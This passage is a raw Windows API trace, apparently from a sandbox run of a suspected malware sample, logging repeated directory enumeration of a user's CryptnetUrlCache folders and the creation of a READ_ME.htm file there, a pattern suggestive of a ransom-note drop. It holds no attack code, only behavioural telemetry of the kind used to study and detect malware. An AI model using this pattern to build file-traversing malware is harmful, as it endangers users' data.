lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0147.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0147.374] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.374] SetErrorMode (uMode=0x0) returned 0x1 [0147.374] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3e [0147.374] SetErrorMode (uMode=0x1) returned 0x0 [0147.374] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0147.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0147.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0147.375] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.375] SetErrorMode (uMode=0x0) returned 0x1 [0147.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3e [0147.376] SetErrorMode (uMode=0x1) returned 0x0 [0147.376] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.376] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.376] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0147.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0147.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0147.378] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.379] SetErrorMode (uMode=0x0) returned 0x1 [0147.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x46 [0147.379] SetErrorMode (uMode=0x1) returned 0x0 [0147.379] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5d876470, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x5d876470, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x5d876470, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0147.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xab8c1ed0, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xab8c1ed0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xab8c1ed0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x475, dwReserved0=0x0, dwReserved1=0x0, cFileName="37C951188967C8EB88D99893D9D191FE", cAlternateFileName="37C951~1")) returned 1 [0147.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x1aa3080, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x1aa3080, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacdd5700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x794f7e10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x794f7e10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf2c360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7c71ad70, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7c71ad70, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7c71ad70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4eb51c0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4eb51c0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6a399090, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xe6fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4e42da0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xaeb57250, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xaeb57250, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xaeb57250, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0018BB1B5834735BFA60CD063B31956", cAlternateFileName="C0018B~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacfc48e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0147.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacfc48e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0147.382] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.382] SetErrorMode (uMode=0x0) returned 0x1 [0147.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x46 [0147.383] SetErrorMode (uMode=0x1) returned 0x0 [0147.383] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5d876470, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x5d876470, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x5d876470, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xab8c1ed0, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xab8c1ed0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xab8c1ed0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x475, dwReserved0=0x0, dwReserved1=0x0, cFileName="37C951188967C8EB88D99893D9D191FE", cAlternateFileName="37C951~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x1aa3080, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x1aa3080, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacdd5700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x794f7e10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x794f7e10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf2c360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7c71ad70, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7c71ad70, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7c71ad70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4eb51c0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4eb51c0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6a399090, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xe6fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0147.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4e42da0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0147.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0147.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xaeb57250, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xaeb57250, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xaeb57250, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0018BB1B5834735BFA60CD063B31956", cAlternateFileName="C0018B~1")) returned 1 [0147.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacfc48e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0147.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacfc48e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0147.385] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.386] SetErrorMode (uMode=0x0) returned 0x1 [0147.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm", lpFilePart=0x0) returned 0x52 [0147.386] SetErrorMode (uMode=0x1) returned 0x0 [0147.386] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.402] GetFileType (hFile=0x1d0) returned 0x1 [0147.402] SetErrorMode (uMode=0x0) returned 0x1 [0147.402] GetFileType (hFile=0x1d0) returned 0x1 [0147.402] WriteFile (in: hFile=0x1d0, lpBuffer=0x2902838*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2902838*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0147.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x47 [0147.404] SetErrorMode (uMode=0x1) returned 0x0 [0147.404] 